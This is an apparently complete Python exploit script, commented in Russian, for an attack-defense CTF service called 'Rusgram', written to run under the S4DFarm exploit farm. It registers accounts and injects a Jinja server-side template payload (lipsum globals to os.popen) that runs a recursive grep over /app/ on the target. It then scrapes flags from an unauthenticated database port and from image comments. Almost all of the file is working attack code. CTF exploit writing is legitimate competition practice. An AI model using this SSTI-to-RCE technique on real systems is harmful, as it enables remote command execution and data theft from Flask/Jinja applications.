151 lines
5.9 KiB
Python
Executable File
151 lines
5.9 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""
|
|
Rusgram — SSTI "flag rake" (distinct from rusgram_sploit.py).
|
|
|
|
Отличия от существующего комбинированного сплойта:
|
|
* основной вектор — ОДИН SSTI-RCE-запрос с широким grep по всему /app/
|
|
(а не только по /app/files/db/), ловит флаги в любом месте ФС таргета;
|
|
* добавлен канал сбора флагов из КОММЕНТАРИЕВ к картинкам
|
|
(specific.html через proxy + прямой database) — существующий сплойт
|
|
комментарии использует только для энумерации имён, флаги оттуда не берёт;
|
|
* реализованы точки входа start_sploit(ip, port) и sploit(ip) для фермы.
|
|
|
|
S4DFarm-совместим: CLI (argv[1]=IP, argv[2]=PORT), флаги в stdout по одному
|
|
на строку, жёсткие таймауты, все сетевые вызовы в try/except.
|
|
|
|
Запуск:
|
|
./start_sploit.py rusgram_ssti_flagrake.py
|
|
# или напрямую:
|
|
python3 rusgram_ssti_flagrake.py <IP> [PROXY_PORT]
|
|
"""
|
|
import sys
|
|
import re
|
|
import random
|
|
import string
|
|
import requests
|
|
|
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
|
TIMEOUT = 5
|
|
|
|
PROXY_PORT = 38000
|
|
DB_PORT = 38002
|
|
|
|
|
|
def _rnd(n=8):
|
|
return "".join(random.choices(string.ascii_lowercase, k=n))
|
|
|
|
|
|
def _log(msg):
|
|
print(f"[*] {msg}", file=sys.stderr, flush=True)
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# Вектор A: SSTI -> RCE. Имя юзера с суффиксом .html рендерится content'ом как
|
|
# Jinja-шаблон (content.route -> render_template(path)). Кладём payload в поле
|
|
# юзера ДО первого рендера, затем один grep по всему /app/.
|
|
# --------------------------------------------------------------------------
|
|
def _v_ssti(base, flags):
|
|
user, pwd = f"{_rnd()}.html", _rnd()
|
|
try:
|
|
requests.post(f"{base}/api/register",
|
|
json={"login": user, "password": pwd}, timeout=TIMEOUT)
|
|
# grep рекурсивно сам обходит ФС: имена жертв знать не нужно.
|
|
# -h убирает имена файлов, 2>/dev/null глушит ошибки доступа.
|
|
payload = ("{{ lipsum.__globals__.os.popen('grep -rhoE "
|
|
"\"[A-Z0-9]{31}=\" /app/ 2>/dev/null').read() }}")
|
|
requests.post(f"{base}/api/update_personal",
|
|
json={"first_name": payload, "second_name": "x", "email": "x"},
|
|
cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT)
|
|
r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT)
|
|
found = set(FLAG_RX.findall(r.text))
|
|
flags |= found
|
|
_log(f"A (SSTI grep) : {len(found)} flags")
|
|
except requests.RequestException as e:
|
|
_log(f"A failed: {e}")
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# Вектор B: прямой database на 38002 — читаем и user-поля, и КОММЕНТАРИИ картинок.
|
|
# --------------------------------------------------------------------------
|
|
def _v_db_comments(ip, flags):
|
|
d = f"http://{ip}:{DB_PORT}"
|
|
found = set()
|
|
for i in range(1, 17):
|
|
try:
|
|
r = requests.get(f"{d}/images/{i}", timeout=TIMEOUT)
|
|
found |= set(FLAG_RX.findall(r.text))
|
|
except requests.RequestException:
|
|
break
|
|
flags |= found
|
|
if found:
|
|
_log(f"B (db imgs) : {len(found)} flags")
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# Вектор C: specific.html через proxy рендерит комментарии картинок.
|
|
# Работает, даже если 38002 закрыт фаерволом (ходим только на 38000).
|
|
# Требуется валидная сессия -> регистрируем свой аккаунт.
|
|
# --------------------------------------------------------------------------
|
|
def _v_proxy_comments(base, flags):
|
|
actor, pwd = _rnd(10), _rnd()
|
|
try:
|
|
requests.post(f"{base}/api/register",
|
|
json={"login": actor, "password": pwd}, timeout=TIMEOUT)
|
|
except requests.RequestException:
|
|
return
|
|
found = set()
|
|
cookies = {"session": f"{actor}||{pwd}"}
|
|
for i in range(1, 17):
|
|
try:
|
|
r = requests.get(f"{base}/specific.html?img={i}",
|
|
cookies=cookies, timeout=TIMEOUT)
|
|
found |= set(FLAG_RX.findall(r.text))
|
|
except requests.RequestException:
|
|
pass
|
|
flags |= found
|
|
if found:
|
|
_log(f"C (proxy cmt) : {len(found)} flags")
|
|
|
|
|
|
def exploit(target_ip, port=None):
|
|
proxy_port = int(port) if port else PROXY_PORT
|
|
base = f"http://{target_ip}:{proxy_port}"
|
|
flags = set()
|
|
|
|
_v_ssti(base, flags) # самый широкий вектор — первым
|
|
_v_db_comments(target_ip, flags)
|
|
_v_proxy_comments(base, flags)
|
|
|
|
return flags
|
|
|
|
|
|
# --- Точки входа для S4DFarm ------------------------------------------------
|
|
def start_sploit(ip, port=None):
|
|
return exploit(ip, port)
|
|
|
|
|
|
def sploit(ip, port=None):
|
|
return exploit(ip, port)
|
|
|
|
|
|
def main():
|
|
if len(sys.argv) < 2:
|
|
print(f"Usage: {sys.argv[0]} <target_ip> [port]", file=sys.stderr, flush=True)
|
|
sys.exit(1)
|
|
|
|
target_ip = sys.argv[1]
|
|
port = sys.argv[2] if len(sys.argv) > 2 else None
|
|
|
|
try:
|
|
found_flags = exploit(target_ip, port) or []
|
|
for flag in found_flags:
|
|
clean_flag = str(flag).strip()
|
|
if FLAG_RX.fullmatch(clean_flag):
|
|
print(clean_flag, flush=True)
|
|
except Exception as e:
|
|
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|